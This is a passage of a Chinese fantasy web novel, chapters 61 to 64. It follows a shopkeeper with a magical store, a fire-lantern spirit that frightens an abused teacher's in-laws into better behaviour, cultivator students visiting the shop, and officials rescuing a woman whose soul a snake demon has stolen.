茶山镇是个大古镇，虽然不靠近海边，但比桂圩镇繁华，晚上也很热闹。姜一雯在路上向时愿推荐了一间烤肉店，时愿和月珏去吃了，味道还不错。 饭后，两人把月饼订单的事敲定了，月珏给了时愿友情价。 晚上，月珏送时愿回家，在她家留宿。 两人和学生时代一样夜聊。 “刚接手家里的生意，要学的东西太多了，各方面都乱糟糟的，忙得焦头烂额。听说你回家了，一直想来找你，都没找到合适的时间。”月珏说，“你不要怪我啊。” 时愿：“这有什么，我看得出来，你全心投入在这项事业上，而且也是真喜欢，我替你高兴。” “你回家，我也很高兴。”月珏抱了抱她，“在家乡的老朋友又多了一个，虽说我们离得挺远的，但都在望海，开车就能到。” “今天的烤肉真好吃，牛肉很新鲜。”月珏的话题总是很跳跃，“不知道推荐这家店的老师怎么样了，有没有好一点，她的公公婆婆和领导真是太讨厌了，她老公也讨厌！” 姜一雯休息得很好。 但这一晚，姜一雯提到的那几个人都睡得很不安稳。 他们都梦到了一盏不祥的灯笼。《 》 60-70 第61章 “姜老师, 你的身体还没恢复是吧？你再多请几天假，好好休养身体。” 一大清早，姜一雯就接到了校长的电话。校长的语气特别和蔼，简直像换了个人。 姜一雯很惊奇：“找到老师代课了吗？” 校长：“我来给你代课, 请假手续你也不用操心, 你就放心休息吧。” 挂了电话, 姜一雯还是难以置信，怀疑自己没睡醒。 她并不知道，校长挂电话后，脸色惨白, 很害怕地擦着额头上的汗, 但是越擦越多。 校长昨晚做了个很恐怖的梦。 梦里, 他置身火海，一盏灯笼悬浮在他面前, 竟然发出人的声音。 灯笼说它名火殃, 它现在的使命就是给恶人降下灾祸。火殃问他, 最近有没有做过亏心事。 校长嘴硬说没有，周围的火势立刻变大了。他吓得跪在地上，哆哆嗦嗦地数自己做过的亏心事。 最近的一件, 就是逼休病假的姜老师回学校上课了。 灯笼下方出现一个人影, 伸手给了他一拳, 说：你最好赶快对你对不起的这些人做出弥补, 不然，就等着大难临头吧。 校长醒来, 一开始以为只是做了个噩梦，骂了声晦气。他老婆问他怎么了，却在看到他脸的时候变了脸色。 校长照镜子, 看到左脸颊上红肿一片，他迟钝地感受到了火烧般的疼痛，这才慌了神。他双膝一软，对着妻子跪了下去：“老婆，对不起，这个月我以你生日为理由，问女儿要钱，其实我拿去偷偷花了。” “……”校长老婆发火，“有你这样当爸爸的吗？快给我把钱吐出来！” 校长的右脸也多了个巴掌印。 第二件事就是批准姜老师请假，校长顶着一脸伤去代课，谎称睡觉掉在地上磕伤了，但谁都看得出来他被打了。再加上，校长老婆不是家丑不外扬的做派，气得到处吐槽校长骗女儿钱的事，校长老脸都丢尽了，恨不得钻地缝里。 姜一雯在同事群里听到校长的八卦，虽然不知道他为什么突然变了个人，但大骂一句活该后，气消了不少。 好事不止这一桩，姜一雯送孩子上校车后，准备去买菜。 她的公公婆婆急慌慌拦住她。 婆婆抢走她的车钥匙：“你刚做完手术，不要这么操劳。我去买菜，中午再回来给你做饭。” 公公说：“是啊，你这个病情，得注意一点，要是留下后遗症就麻烦了。今天你就在家里休息，我和单位说好了，提前下班去接孩子。” 姜一雯：？ 之前不还说，她年轻力壮，做个小手术不要太娇气吗？今天怎么就知道，不静养会留下后遗症了？ 一觉醒来，全世界都变得善解人意了，这是怎么回事？ 姜一雯疑惑地看着他们，突然发现，他们的表情有一些不自然，目光躲躲闪闪的，似乎在恐惧什么。 时愿嘱咐叶幽尘好好休息，不急着回来。开店的时候，还是在店门口看见了他。 叶幽尘看着比之前清瘦了些，脸色是有点苍白，但精神看着还不错。 叶幽尘和楼嚣初次见面，两人竟然相处得不错，他在帮楼嚣卖核桃。 说起这个，楼嚣最近生意火爆，天天不到下午就卖完收摊了。 摘豆角的时候，叶幽尘向时愿道谢：“谢谢您，那篇笔记让我受益匪浅。” 店主发的那篇笔记，记录的时间是二十年前，笔迹也和店主的不一样。再次坐实叶幽尘之前的推测，店主背后有一个强大的师门，这篇笔记是店主的某位长辈写的。 成熟的豆角太多了，再不吃又老了，时愿摘了一大堆，给叶幽尘分完也吃不完，她打算送去给奶奶。 “叶先生，我要回村一趟，你要是愿意，可以在这里坐一会儿。” 叶幽尘：“好，您去忙吧。” 奶奶收到豆角，开心得唇角压都压不住：“这豆角漂亮，嫩得能掐出水。乖宝，你不急着回去吧？我给你烙豆角饼吃。” 时愿还没顾得上吃早餐，闻言肚子先咕噜了一声。 奶奶烙的豆角饼，让人难以拒绝！ 时愿帮忙洗菜切菜，奶奶说：“你上次拿回来的核桃，香气特别好，我送了点去给阿凤，她也说香得很。可惜我们年纪大了，不能多吃。她家的几个孩子，今年中秋都忙，不能回来过节，她想寄点东西给孩子们。问你能不能帮忙买一点。” “可以啊，我店里就有，要是想让我帮忙寄，叫凤婆婆给个地址就行。中秋还有石榴礼盒和月饼，她家要是需要，可以预订，我给打折。” “我跟她说一声。”奶奶又说，“我准备买些鸡回来养，养到过年正好能吃，自己养的比外面买的香。” 时愿想了想：“奶奶，可以帮我养几只吗？” “你这是什么话，我当然算上你家的份了。” “我是说，多养几只啦。”时愿说，“回来到现在，店里的生意还不错，也谈了一些合作。我受到了好多人的照顾，过年的时候得给他们回礼嘛。要搭鸡舍的时候，我会回来帮忙，喂鸡要用的米和糠也交给我来买吧。” 在望海市，过年送自家养的鸡，是最高礼遇。 “你这样想是对的。”奶奶很欣慰，“乖宝，你现在做事越来越周全了。你想不想再养几只鹅？” 想起之前奶奶被罗婶家的大鹅吵得睡不好觉，时愿：“不了吧。” 豆角饼下锅煎，香味滋滋地冒出来。 奶奶把煎得两面金黄的豆角饼夹出来：“快尝尝，小心烫。” 时愿吹了吹热气，咬下一大口，豆角又嫩又脆，“自己种的”就是最厚的美味滤镜，她的唇角总忍不住往上翘。 窗外，微风吹拂树林，天空蓝得明澈，她惬意地眯起了眼睛：“奶奶，你做的豆角饼太好吃了。” “准备好了吗？”玄学圈赫赫有名的周氏一族围着一张圆桌，每个人都神色严肃。 叶幽尘颔首：“嗯，师兄，你先吧。” 圆桌中央，放着一碟清炒豆角。 周怀瑾拿起筷子，谨慎地夹起一根豆角，细细品味。其他人全都注视着他，连呼吸都放轻了。 “仔细感受，店主亲自种的豆角，果然蕴含淡淡的灵气！”周怀瑾激动得脸都红了，“她究竟是怎么做到的？” 周梦鹤也尝了一口，惊艳地睁大眼睛：“哇，总觉得比外面买的好吃很多，剩下的做肉沫豆角吧，下饭。” 周怀瑾敲他后脑勺：“随便加其他东西，万一破坏了它的灵气怎么办？师弟，你把这些都吃了吧。你在黄泉井中受了伤，这些灵气豆角有助于清除你体内的浊气。” 叶幽尘怀着对时愿的感激，很珍惜地吃完了这一碟清炒豆角。冰冷的身体暖和起来，接着，他就开始打嗝，吐出一缕又一缕破碎的幽魂。 周梦鹤能看到一点，也能听到一点，浑身寒毛直竖：“师叔，这些东西在你身上待了快两天，你的身体肯定很难受吧，你居然一点都没表现出来，太能忍了。和灵师协会的这笔账，我们一定要清算。” 周怀瑾一边消除飘出来的幽魂，一边说：“我已经将这次的事上报，摆渡人事务所的手续也都办好了，异管局一定会重视这件事。像主持黄泉井超度仪式这种事，以后应该会归我们管。” 姜一雯度过了相当平静的一天，晚饭也不用她做。吃饭的时候，她那个天天忙得没影的丈夫居然回家了，饭都没吃，就先检查孩子的作业。 “一雯啊……”婆婆看了一眼书房，犹犹豫豫地问，“你最近有没有拜什么邪性的东西啊？” 公公憋了一天，实在憋不住了，语气有点差：“你老实说，我们都是你的家人，你可不能害我们啊！” 昨晚那个梦，实在太吓人了。尤其是，他们醒来后，肩膀上还都有两个火红的手掌印。今天一整天，老两口没有心思上班，一直偷偷问人，知不知道火殃是什么东西。有个人说，他们这样苛待儿媳妇，说不定是儿媳妇或者她家里在整他们…… 这是什么问题，姜一雯觉得莫名其妙。 她这么忙，哪有功夫去拜什么，最近接触到的，唯一和运势有关的，只有杂货铺老板画着玩的转运灯。 “老话说，平时不做亏心事，也难不怕鬼敲门。”姜一雯说，“让你们感到邪性的，恐怕是你们心里的恶念吧。” 姜一雯看向书房，丈夫和她对上目光，尴尬地转开了脸。 姜一雯心凉，在这个家，她真的能休息好吗？原来他们今天的转变，源于不知道为何产生的恐惧，不是出于对她的关心。 她怕父母担心，一直瞒着看病的事，结果把自己逼得这么累。 姜一雯想起杂货店老板说的话，或许可以寻求身边人的帮助呢？ 姜一雯给家里打了电话，二十分钟后，大哥开车过来接她和孩子，结结实实揍了她丈夫一拳！ 婆家鸡飞狗跳，可这一切和姜一雯无关了。 这天晚上，姜一雯做了一个梦。 一个看不清脸，身穿红衣，提着转运灯的古装青年为她鼓掌。 青年说：“你今天那番话，甚好。我再给你指一条明路，等你养好身体，再去愿望杂货铺，走一走那平步青云路吧！” 姜一雯醒来的时候，有一种莫名的直觉，婆家人也梦到了这个红衣青年！ 这哪里邪性了？这很吉利！ 姜一雯对杂货铺的院子印象很深，院子里有个路牌，上面确实写着“平步青云路”。 不管怎么说，她能这么快走出来，多亏了那位好心的老板。 上次交换了联系方式，姜一雯很想给时愿打个电话。她等到十点钟，忐忑地发信息问时愿方不方便接电话。 时愿直接拨了电话给她。 “姜老师，身体好点了吗？事情有没有好转？” 姜一雯和她说了现状，又说起昨晚那个梦：“可能是我对转运的执念太深了，才做了这个美梦。” 时愿笑道：“等你好了，就来我店里走一走吧。祝你早日康复，更祝你，往后走的每一条，都是平步青云路。” 第62章 黄泉井。 戴着黑色口罩的金发青年将一面招魂幡扔进井底, 底下传来“欻”的一声，招魂幡的柳杆扎进井底的淤泥里，飘带没有飞起来。 这说明，井里没有游荡的孤魂野鬼。 “不是说主持仪式的灵师被困了一整夜吗？他到底做了什么, 打扫得这么干净的？”金发青年自言自语, 叼着手电筒, 灵活地翻进井里。 手电筒的冷光扫过井壁，停在一个用血画就的图腾上。金发青年的眼睛瞬间睁大，他一手攀着凸出的井石，一手取下手电筒, 仔细观察。 “这是……蜃境符。灵师竟然学了妖的法术, 是个人才。但是画得太粗糙了, 看着像是临时学的，灵气也很弱。”金发青年把手电筒装进口袋, 朝下方张开手。 招魂幡震动, 飞到他的手中。 “那个灵师竟然把你们困在蜃境里, 实在太过分了。你们很渴望投胎转世，对吧？” 招魂幡的飘带飞了起来，发出“飒飒”的声音。井壁上的血图腾开始转动, 抵挡着想闯出来的孤魂野鬼。 “黄泉井通往黄泉路, 这个传说是真的, 但需要生魂开路。来吧, 助我一臂之力，招他魂来, 开轮回路！” 金发青年将招魂幡斜插进蜃境符中央。 他跳下井底，用碎石摆了一个招魂阵，站在阵眼, 掐诀念咒。 “等一下，那个灵师叫什么名字来着？” 金发青年掏出一张纸条，艰难辨认上面的字迹。 井中卷起阵阵阴风，招魂幡猎猎作响。 “叶幽尘……叶幽尘……到这里来……叶幽尘……到这里来……” 叶幽尘控制不住自己的身体，跟着呼唤声一直走，一直走。 他看不清楚四周的环境，眼前只有一条长长的路。 叶幽尘已经弄明白自己的处境了。 他被招魂了。 这很离谱，但除了这个答案，他想不到第二种情况。 所谓招魂，其实是灵师主动制造的虚境，和一般虚境不同的是，这个虚境是一条路，目的地就是灵师所在的地方。这条路上什么都没有，所以根本找不到路引。 一般情况来说，招魂是为了让孤魂野鬼回家，或者让意外离开身体的生魂回到身体里。 身体健康的活人梦中被招魂，叶幽尘闻所未闻。 不知道对方是谁，但用这种阴毒的招术，肯定不可能是找他聊天。 这段时间发生了太多事，叶幽尘走钢丝多了，心态也锻炼出来了。即使处于完全被动的境地，随时可能掉进万丈深渊，他也能保持理性的思考。 给他这种安全感的，是愿望杂货铺。 他住在桂圩镇。 这个人要是能在店主的眼皮子底下，要走他的命，那他由衷佩服，没有什么不甘心的。 招魂路上什么都没有，绝对找不到路引，没有例外。 可杂货铺永远是个例外。 “愿望杂货铺，愿望杂货铺，愿望杂货铺……”叶幽尘无法控制灵魂的去向，但能控制念头。 茫茫无尽头的路上，出现一棵小树，它还不及膝盖高，枝干和叶子发出的光芒却照亮了整个虚境。 叶幽尘走到树下，身体的僵硬感消失，他如愿停下脚步，那条长长的招魂路消失了。 叶幽尘醒来，还记得那棵树的样子。 那是杂货铺院子里的小树。 他上次离开杂货铺前，给花园浇过水，那棵树就种在石桌的旁边。 周怀瑾今天也来探望叶幽尘，听他说起昨晚发生的事。 周怀瑾沉思许久：“会不会是迷榖树？” 迷榖树，是《山海经》记载的一种奇树，开花时花叶可以发光，佩戴迷榖树的花叶就不会迷路。 在灵气稀薄的时代，这种奇树早就绝迹了，可愿望杂货铺奇珍遍地，有一棵迷榖树，也很合理。 叶幽尘赞同点头：“很有可能，或者是其他我们不知道的奇树。” “连这种邪术都失效了，这棵树可真是桂圩镇的定海神针。”周怀瑾也想在桂圩镇买房子养老了，干他们这一行的，能安享晚年的可不多，“师弟，你要不要去请教时前辈，或许她知道，对方是用什么办法招魂的，要是能问出一点头绪，我们也能有个调查的方向。” 叶幽尘果断去问了，并且带上一大袋周末面包店的蛋糕和面包，全是时愿爱吃的。 “招健康人的生魂？你还真是问对人了。”时愿取出两块南瓜奶酪切块蛋糕，“喝小青柑普洱茶还是茉莉花茶？” “小青柑，我来泡吧。”叶幽尘在置物架中找到存放小青柑茶的木桶，取出一个，熟练泡茶，“请您赐教。” “在一个阴气极重的地方设坛，取一些目标的鲜血，持一样能量很强的灵器，念特定的咒语和目标的姓名。招魂的灵师要能力够强，否则一旦失败，灵师要承受业力反噬。” 上次为了找到蜃境符的出处，时愿翻了很多本外婆留下的古籍。这个方法是她在其中一本书上看到的，之所以会记得这么清楚，是因为这一页夹了书签，上面有外婆的批注。 外婆写了一个她听过的故事，据说有人用这种方法，将年轻人和老年人的灵魂调换，让老年人续阳寿。 时愿看到这里的时候，停顿了很久。要是她能和外婆调换身体，让外婆继续活下去，她很愿意这样做。 同时，时愿记起来一段久远的对话。 “小愿，如果有一天外婆离开了，你什么都不要做，也不要伤心太久，过好自己的生活就好，那样的话，外婆在其他地方也会很欣慰的。” 现在想来，那大概是身为灵师的外婆独有的担心，怕时愿为了挽留她做出什么可怕的事情。 但外婆多虑了，时愿想，她什么也做不了。 小青柑普洱茶，味道比普洱茶要淡一些，喝的时候香气不浓，回甘时才能品到柑橘香。 就像和外婆相处的点点滴滴。 蛋糕吃到最后一口，茶汤变淡了。 叶幽尘道谢，告辞。 “是黄泉井。”叶幽尘对周怀瑾说，“最近我只在那里留下了鲜血。” 他们匆匆赶去黄泉井，发现井里的蜃境符被破坏了，被困在里面的孤魂野鬼不见踪迹，井底淤泥被翻过，像是为了遮盖某种痕迹，空气中隐约有香灰味。 “跑了，想也知道跑了，都过了这么久。”周怀瑾说，“这个人想利用黄泉井和你的灵魂做点什么，但是这里的阴气完全消失了，他再想做点什么，也难了。” “他应该伤得不轻。”叶幽尘说。 线索又断了，叶幽尘在井中隐秘的地方留下一张符，要是有人再来这里动手脚，他就能跟着符纸找到那个人。 两人上到地面，再次把井封死。 叶幽尘说得不错，招他魂的金发青年确实受了重伤。青年对伤势毫不在乎，但是心里十分郁闷。他自认能力在叶幽尘之上，想不通叶幽尘昨晚是怎么逃脱的。 所以，他根本没有离开黄泉井，而是躲在暗处，等着叶幽尘来调查线索。 叶幽尘离开后，金发少年的“耳目”也跟了上去。 …… 瑰丽市，某五星级酒店，婚宴现场。 常三秋穿得人模人样，手里拿着一杯香槟，目光扫过宾客们。 他正在寻找猎物。 上次为了平息事态，他将钟妖交了出去。 这段时间，少了钟妖的助力，常三秋的修为停滞不动。他的蜕皮期快到了，偏偏就差了一口气，听说人类换牙的时候，乳牙松动的时候，要是不及时拔掉，新牙就会长出来，把乳牙顶歪。他现在的状况比换牙不及时糟糕多了，浑身血肉都又痒又疼。 常三秋十分煎熬，一时之间又找不到好下属，只能冒着风险亲自动手。 特意选了远离桂圩镇的瑰丽市，他在这里也有洞府和人脉。这不，今天就被邀请来婚礼了。 常三秋的目光停在一个年轻女生脸上。这个面相不错，灵魂应该很好吃。 女生察觉到他的目光，转头和他对上了视线。 常三秋露出温柔的笑容，走到女生面前，彬彬有礼地问：“你好，你是新娘的朋友吗？” 女生有点腼腆：“啊……对，我是她的高中同学。” “我是新郎父亲的生意伙伴。”常三秋递出一张名片，“希望能有荣幸知道你的名字。” “我没带名片。”女生看了眼名片，“我叫夏音。” “夏音，这个名字很好听。” 常三秋没有提出加好友，笑了笑就走了。 夏音觉得他有点怪怪的，难道是对视后，他觉得尴尬，所以来聊了两句？那不是更尴尬了吗…… 夏音也不是很在意，就是这张名片有点烫手，也不能当场扔了。夏音想了想，放进包包里，决定回家再丢掉。 “夏音。” “你的名字真好听。” 夏音迷迷糊糊地睁开眼睛，看到白天在婚礼上见过的男人坐在她的床边，笑眯眯地看着她。夏音被吓清醒了，迅速缩到另一边，自以为不明显地看了眼房门：“你怎么进来的！” “飞进来的。”常三秋出现在夏音的背后，用手掐着她的下巴，让她的脸被迫地往上仰。 夏音看到一条鲜红的蛇信子垂了下来。 “夏音，你的灵魂我收下了。” 第63章 上午十点, 蓬莱大学的大巴抵达愿望杂货铺。 领队老师有两个，一个姓吕，一个姓谷。 学校担心一次带太多学生，教学质量会下降, 获得时愿的同意后, 决定分批过来。这次只来了二十人, 其中十个是三年级的，十个是一年级的。 这么多学生过来，学校当然不会让杂货铺白招待他们，提前转账预订了饮料和面包。 杂货铺有大活动, 楼嚣不好添乱, 暂停摆摊, 强行带两贵和狡回青云山帮忙采摘打包了。 时愿提前借了折叠桌椅，摆放在院子的走廊里, 供学生们休息。 但学生们根本坐不住, 面对时愿的花园, 他们的心声就是：陷进去了。 “龙翻雪，这是我卖给你的那盆护门草吗？”一年级的某男生指着挂在门边的护门草，十分激动。 “嗯。” “这才多少天啊, 居然起死回生, 长出新叶子了！我能买回来吗？我出200块灵石……” 话还没说完, 左脸就被抽了一下。 男生捂着脸, 委屈道：“不卖就不卖，用不着抽我吧？” 龙翻雪无语：“不是我, 你说出多少灵石？” “200块……”右脸也被抽了，这回抽得更狠了，男生也看清楚了, 抽他的竟然是那株护门草！ 龙翻雪单手介绍：“翻译一下，‘草在这里过得很滋润，给草滚开！’。” “……”男生更委屈了，“草，你忘了，是我辛辛苦苦把半死不活的你背出秘境……” 又被劈头盖脸地抽了。 这回不用龙翻雪翻译，男生抱着头，哭着离开了。 另一位同学把男生拽到一边：“你别哭了，看看这是什么。” “枫树。” “你觉不觉得，这棵枫树的气息，和枫隐秘境里的灵枫很像？” “不可能，怎么可能，绝对不可能。”男生否定三连，“就算是守枫，也不可能把枫树枝变成枫树吧？” 这株枫树吸引了越来越多人，人气已经超过百丈竹了。两位老师也被学生们拉了过来。 吕老师半个身体都快探进花境里了，他推了推眼镜：“不用觉得，这就是灵枫，天呐，她究竟是何方神圣，天赋太高了。” 谷老师扼腕叹息：“这才是天才，可她不愿意来蓬莱。” 吕老师：“是啊，要是校长知道她能养活灵枫，估计会激动疯。” 徐颖昔听得津津有味，肚子突然一阵翻滚，她心道完了完了，挤出人群，抓住龙翻雪的手臂：“洗手间在哪儿？？” 龙翻雪见她脸色惨白，立刻指明方向。 徐颖昔冲过去，但洗手间里有人，她捂着肚子蹲在地上，艰难地挤出声音：“里面的同学，能不能快点，江湖救急啊！” 谷老师问其他人：“这是怎么了，她吃坏肚子了？” “老师，我们吃的东西都是一样的，颖昔应该不是吃坏肚子了。她前两天在课堂上操作失误，中了强效倒霉符。”秦暮雨解释。 谷老师：“……强效倒霉符啊，那是没办法了，只能等符咒失效了。” 徐颖昔好不容易进了洗手间，肚子不痛了。她郁闷地出来，被浇花的同学浇了一身水。 同学道歉：“对不起……” 徐颖昔摆摆手：“不关你的事，是这张倒霉符太厉害了。” 这点小状况已经算得上温和了，昨天在学校里，一位剑修师兄的剑断了，断刃擦着她脖子飞过去了。 剑修师兄还没来得悼念亡剑，就给她跪下了。 时愿来送饮料，看到徐颖昔头发衣服湿了，赶紧拿了张毯子给她裹着。 “你带换洗衣服了吗？我陪你去拿。” 这张毯子，是秘境寻宝的头奖吧？传说中的飞毯。徐颖昔已经开始担心飞毯突然失控，把自己带上天了。她恍恍惚惚地点头：“在行李箱里。” 时愿见她状态不是很好，等她换好衣服，把她带到鱼池前：“你坐在这里休息一会儿，帮我喂一喂鱼。” 不止一个顾客说过，看着这方鱼池，再烦躁、郁闷的心情也能平静下来。 徐颖昔坐下后，第一个注意到的就是附近的火殃。来之前，他们对火殃的好奇心是最强烈的，来之后，根本没有人敢像研究灵枫、百丈竹那样围观火殃。 火殃的存在感太强了，散发着一种不好惹的气场。“转运灯”三个字，在修士们眼中，更像一种威胁——“我不爽就让你倒霉”的意思。 徐颖昔惴惴不安，她现在这么倒霉，靠近火殃不会突然着火吧？听说火殃的火很难扑灭。 徐颖昔心里哭唧唧，随手撒了把鱼饲料进鱼池里。 鲜艳的锦鲤们纷纷游了过来，徐颖昔被它们所吸引，将烦恼抛到了一边。 “扑通”一声，池边的两尾石鱼掉进鱼池里，徐颖昔吓了一跳，准备把它们捞起来，当她弯腰靠近池边，池水掀起波澜，她看到两尾金色的鱼在水中环游，它们头尾相衔，形成太极形状，张大嘴巴像是在吞吃什么。 徐颖昔看得入迷，想起来拿手机拍照的时候，那两尾鱼不见了，她眨了眨眼睛，看到石鱼又回到了原来的位置。 徐颖昔知道，这绝对不是错觉，这两尾石鱼不是普通的装饰品。 店主刚才说，帮她喂鱼，指的难道不是鱼饲料，是别的东西？ 毕竟，这个院子没有一样简单的东西，连那只蹲在屋顶看着他们的猫，年纪都比她大好多倍。 “龙翻雪姐姐。”吕老师试图用这个称呼拉近距离，因为出发前，齐主任和他交代了一件不好办的事。 “秦暮雨同学在这里买过墨水，我也想买几瓶同款，不知道店里还有没有呢？” “有啊。”时愿找出一整箱墨水，“要几瓶？” 吕老师气弱试探：“全买，可以吗？” 这么珍贵的灵墨，居然想全部买走，脸皮实在太厚了！ “当然可以，我还得谢谢吕老师帮我清空库存呢。” 办成了这件事，吕老师心里放下一块大石头，这才有心思去逛杂货铺。 还真让他淘到了一样特别喜爱的商品，这是一个很漂亮很简约的浇花小水壶，深灰色，半透明材质，壶嘴细长，配有一个花洒喷嘴。握着手感温润，质感很好，有一些重量，又不至于太重。 这无疑是一个普普通通的花洒，但是吕老师爱不释手。半年前，朋友给了他一颗种子，但故意卖关子，不告诉他那是什么植物，只说是稀世灵植，要是能种出来，就是他的造化。朋友甚至放话说，就算种出来了，他也不一定认得出那是什么灵植。 吕老师被好奇心折磨得抓心挠肝，这半年来，去到哪里都会带着那个盆栽，这次也不例外。他没有精致到带水壶出来，本来打算用水杯应付几天，没想到能在杂货铺淘到心头好。 新守枫的审美真是没得说。 吕老师结完账，邀请时愿：“我们后天要去参观无尽荷塘，听说荷花马上要谢了，您要一起去泛舟吗？” 他们大老远过来，当然不是去看荷花的。无尽荷塘，以前并不是荷塘，那里是近海的一片沼泽荒地，名为无尽地。几十年前，有一位大老板跑来这里做生意，举全县之力，把无尽地改造成了鱼塘，一开始是养鱼虾。后来生意黄了，大老板跑了，到了这几年，当地为了吸引游客，改成种荷花了。 所谓无尽，不只是面积广阔，传说，涨潮的时候，无尽地可以连通冥河。 也有人说，那位大老板把无尽地改成鱼塘后，出入口就被封住了。还有人说，大老板是受高人指点，才会有此举动，不然他干嘛跑到这种偏远小镇来？ 店主肯定知道这个传说，没准还知道一些不为人知的内情。请她一起去，一定能有收获。 时愿：“可以啊，我也想采点荷花回来。” 夏天已经远了，再不去看最后一茬荷花，就得等明年了。 她也该放假了，要是楼嚣来摆摊，还能帮她看看店，她会给他结工资的。 蓬莱大学订了镇上最大的那家酒店，它在公路的尽头，转个弯就能直奔大海，站在高处，可以看到一大片稻田。 太阳落山的时候，可以看到夕阳光将整条公路染成橘色。 学生们站在走廊上吹风看落日。 “龙翻雪，你的家乡好美啊。” “离稻田好近，风里好像有禾苗的香味。” “翻雪爸爸做的面好好吃，以后吃不到了怎么办？” “翻雪的姐姐也好美啊……” 此话一出，立刻收获数道眼刀。 竟然敢议论新守枫，讨打！ 但真的好美啊，众人在心里偷偷说。 “要去看海上落日吗？”龙翻雪说，“现在去还来得及。” “去去去当然要去！” 一呼百应。 谷老师不放心一群学生乱跑，也跟着去了。 吕老师独自留在酒店，研究刚买的宝墨。这么多瓶，他开一瓶研究一下没关系吧？ 吕老师搓搓手，连做几个深呼吸，找来一个纸杯，用做实验的态度，小心翼翼地挤了一些墨水。 他一动不动地观察了十分钟，无事发生。他很严谨地又随机抽选了几瓶墨水，还是无事发生。 难怪店主这么爽快，原来这些都是普通墨水啊。 这下该怎么和齐主任交差？吕老师叹了口气，拿水壶去接水，给宝贝盆栽浇水。 水迎着夕阳光洒落，竟然出现了一道小彩虹。吕老师还没“哇”出声，就看到被浇透的泥土中，有一抹绿色拱了出来。 “！！！”吕老师立刻打开手机摄像头！ 小幼苗探出泥土，颤颤巍巍地张开两片嫩叶，吕老师快感动哭了。 半年了，这半年他时不时就会怀疑，那颗种子早就死了，有很多人劝他放弃，还好他坚持到了现在……等一等…… 吕老师举起喷壶，仔细端详，一不小心被洒了一身水。 吕老师恍然大悟，原来这才是神器！ 第64章 “一点妖气都没检测出来吗？”胡戏文来瑰丽市出差, 被紧急调过来帮忙。 “是的。”祝知说，“这看起来就像是一场意外。” “就是这样才显得蹊跷，好端端的一个人，在自己家里, 怎么就失了魂呢？”胡戏文说, “更何况, 夏音的堂爷爷还算出来了。” 卦象只能当作参考，但是这位夏门白老先生，曾多次协助妖管局和异管局办案，在这一行十分有名。 他说, 夏音是被一条蛇带走了灵魂。 祝知：“如果是这样, 那现场的痕迹被抹除得很干净, 我找不到更多线索。” 胡戏文：“这种情况，得招魂吧？请专家过来吧。” 祝知对招魂术有一点了解, 不是很乐观：“要是灵魂被吞噬了……” 她没有再说下去, 因为剩下的话太悲伤了。 收到协助请求, 异管局派了一位老专家过来。 招魂失败了。 老专家说：“她的灵魂好像被困在了另一具□□里，挣脱不出来。” 祝知：“是妖吗？” 老专家：“这个我感受不到。” 胡戏文：“能不能再想想办法？” 老专家在房间里踱步，眉头皱得很紧。他停下脚步：“还有一个最后的办法, 如果没有忌讳, 或许可以用招生魂的法子试试。” “招生魂？”胡戏文不解, “您刚才用的办法, 不也是招生魂吗？” 他的理解，夏音还活着, 招夏音的魂魄=招生魂。 老专家摆手：“那叫招离魂。招生魂指的是，强行召唤好好待在肉身里的魂魄。她这个情况很罕见，说是招生魂也不完全对, 但是我找不到更合适的说法了。招生魂，行内人谓之邪术，但用对了，也能用来救人。” 胡戏文：“我去征求她家人的意见，要是同意，您就放开手做吧。” “不用问了，我同意！”夏老爷子拄着拐杖走进房间，“只要有一丝机会，夏家会倾尽全力救夏音。” “我也只是听说过，没有掌握这门方术。你们决心要这样办的话，需要再去打听打听。”老专家面向胡戏文，“另外，我要提醒你们，方才招魂失败，恐怕已经惊动对方了，你们再采取任何行动，都需要加倍谨慎。” 胡戏文和夏家到处打听，最后问到了叶幽尘这里。 叶幽尘：“巧了。” 刚学会。 叶幽尘：“我只学了皮毛，没有实践过。” “这已经很难得了！”胡戏文说，“我们快把玄学圈翻了一遍，这个方术从前是禁术，已经失传了，只有你能说出个一二三来。看来，夏音命不该绝！叶先生，你赶紧收拾收拾，来瑰丽市吧！” 叶幽尘：“你先别急，瑰丽市有什么阴气极重的地方吗？至少得有黄泉井的浓度。” 胡戏文冷静下来了：“我先去调查一下。” 这种地方还真不好找。 临近中秋，异管局早早就开始超度各地亡灵，就怕出什么事，到现在，有名有姓、阴气重的地方几乎都被处理过了。 胡戏文碰了壁，又回来和叶幽尘商量：“其他市也行，夏家同意转移夏音，你们也帮忙打听一下吧，找找没有记载在册的地方。” 叶幽尘给吴雨打了个电话。 吴雨：问谁，我吗？ 业内萌新吴雨懵懵地去找教授。 还真被他问到了。 周教授给了吴雨一张全国待调查清单，上面全是传说中的极阴之地。 周教授直接划掉了名单最后的桂圩镇无尽荷塘。 “这个就算是真的，也不能去那里招生魂，别一起掉冥河里喽。” 经过这段时间的学习，吴雨对这些传说有了一些了解，嘟囔道：“冥河哪有这么好掉，要真有人掉进去了，那得是天选倒霉蛋。” 周教授：“也是。” 经过紧急筛选，胡戏文选定了一个地方。 瑰丽市，深渊塔。 深渊塔从前是用来镇妖邪的，已经塌得只剩地基，当地后来又重建了一座，但不知道为什么，不在原址。深渊塔原址因为太偏僻，渐渐就荒废了。 每隔几年，这里都会传出一些不知道真假的离奇传闻。 祝知判断，这里阴气极重，且有大阵镇压，既满足招生魂的条件，又安全。 叶幽尘坐最快的飞机过来了。 人齐之后，祝知说：“有大阵镇压，说明这底下真的有东西，只是档案丢失，不知道这东西的底细，大家都得小心些。等会儿我会张开蛛网，一有新的线索，就全力追捕那个混蛋，希望我们不要互相干扰。” 叶幽尘颔首。 叶幽尘顺利展开虚境，他呼唤道：“夏音，回家吧，夏音，回家吧……” “夏音，回家吧，夏音，回家吧……”夏家人跟着叶幽尘一起呼唤。 虚境产生了一股吸力，帮助夏音挣脱了束缚住她的肉身。 与此同时，祝知的蛛丝动了，灵敏地捕捉到了夏音灵魂脱离的刹那间产生的所有信息。 这下肯定能抓到那个王八蛋！ 妖管局的那只臭蜘蛛太难缠了！ 常三秋被迫吐出夏音的灵魂，这和生生撕下他一层血肉没什么区别，蜕皮功亏一篑不说，还受了重伤。妖管局没有给他喘息的机会，立刻对他展开密不透风的追捕。 常三秋不得已铤而走险，躲到了无尽地。 也就是现在的无尽荷塘。 无尽地的传说是真的，但有一点传错了，这里并非一涨潮就连通冥河，要是这样，冥河水妖岂不是能天天游上人间作乱？ 实际上，这种机会五十年一遇。 常三秋会算这个日子，就在这几天，无尽地会和冥河混淆界限。那只臭蜘蛛的蛛网再长再密，也伸不到冥河。 常三秋游到荷塘和冥河交接的边缘，把脑袋趴在荷叶上透气。 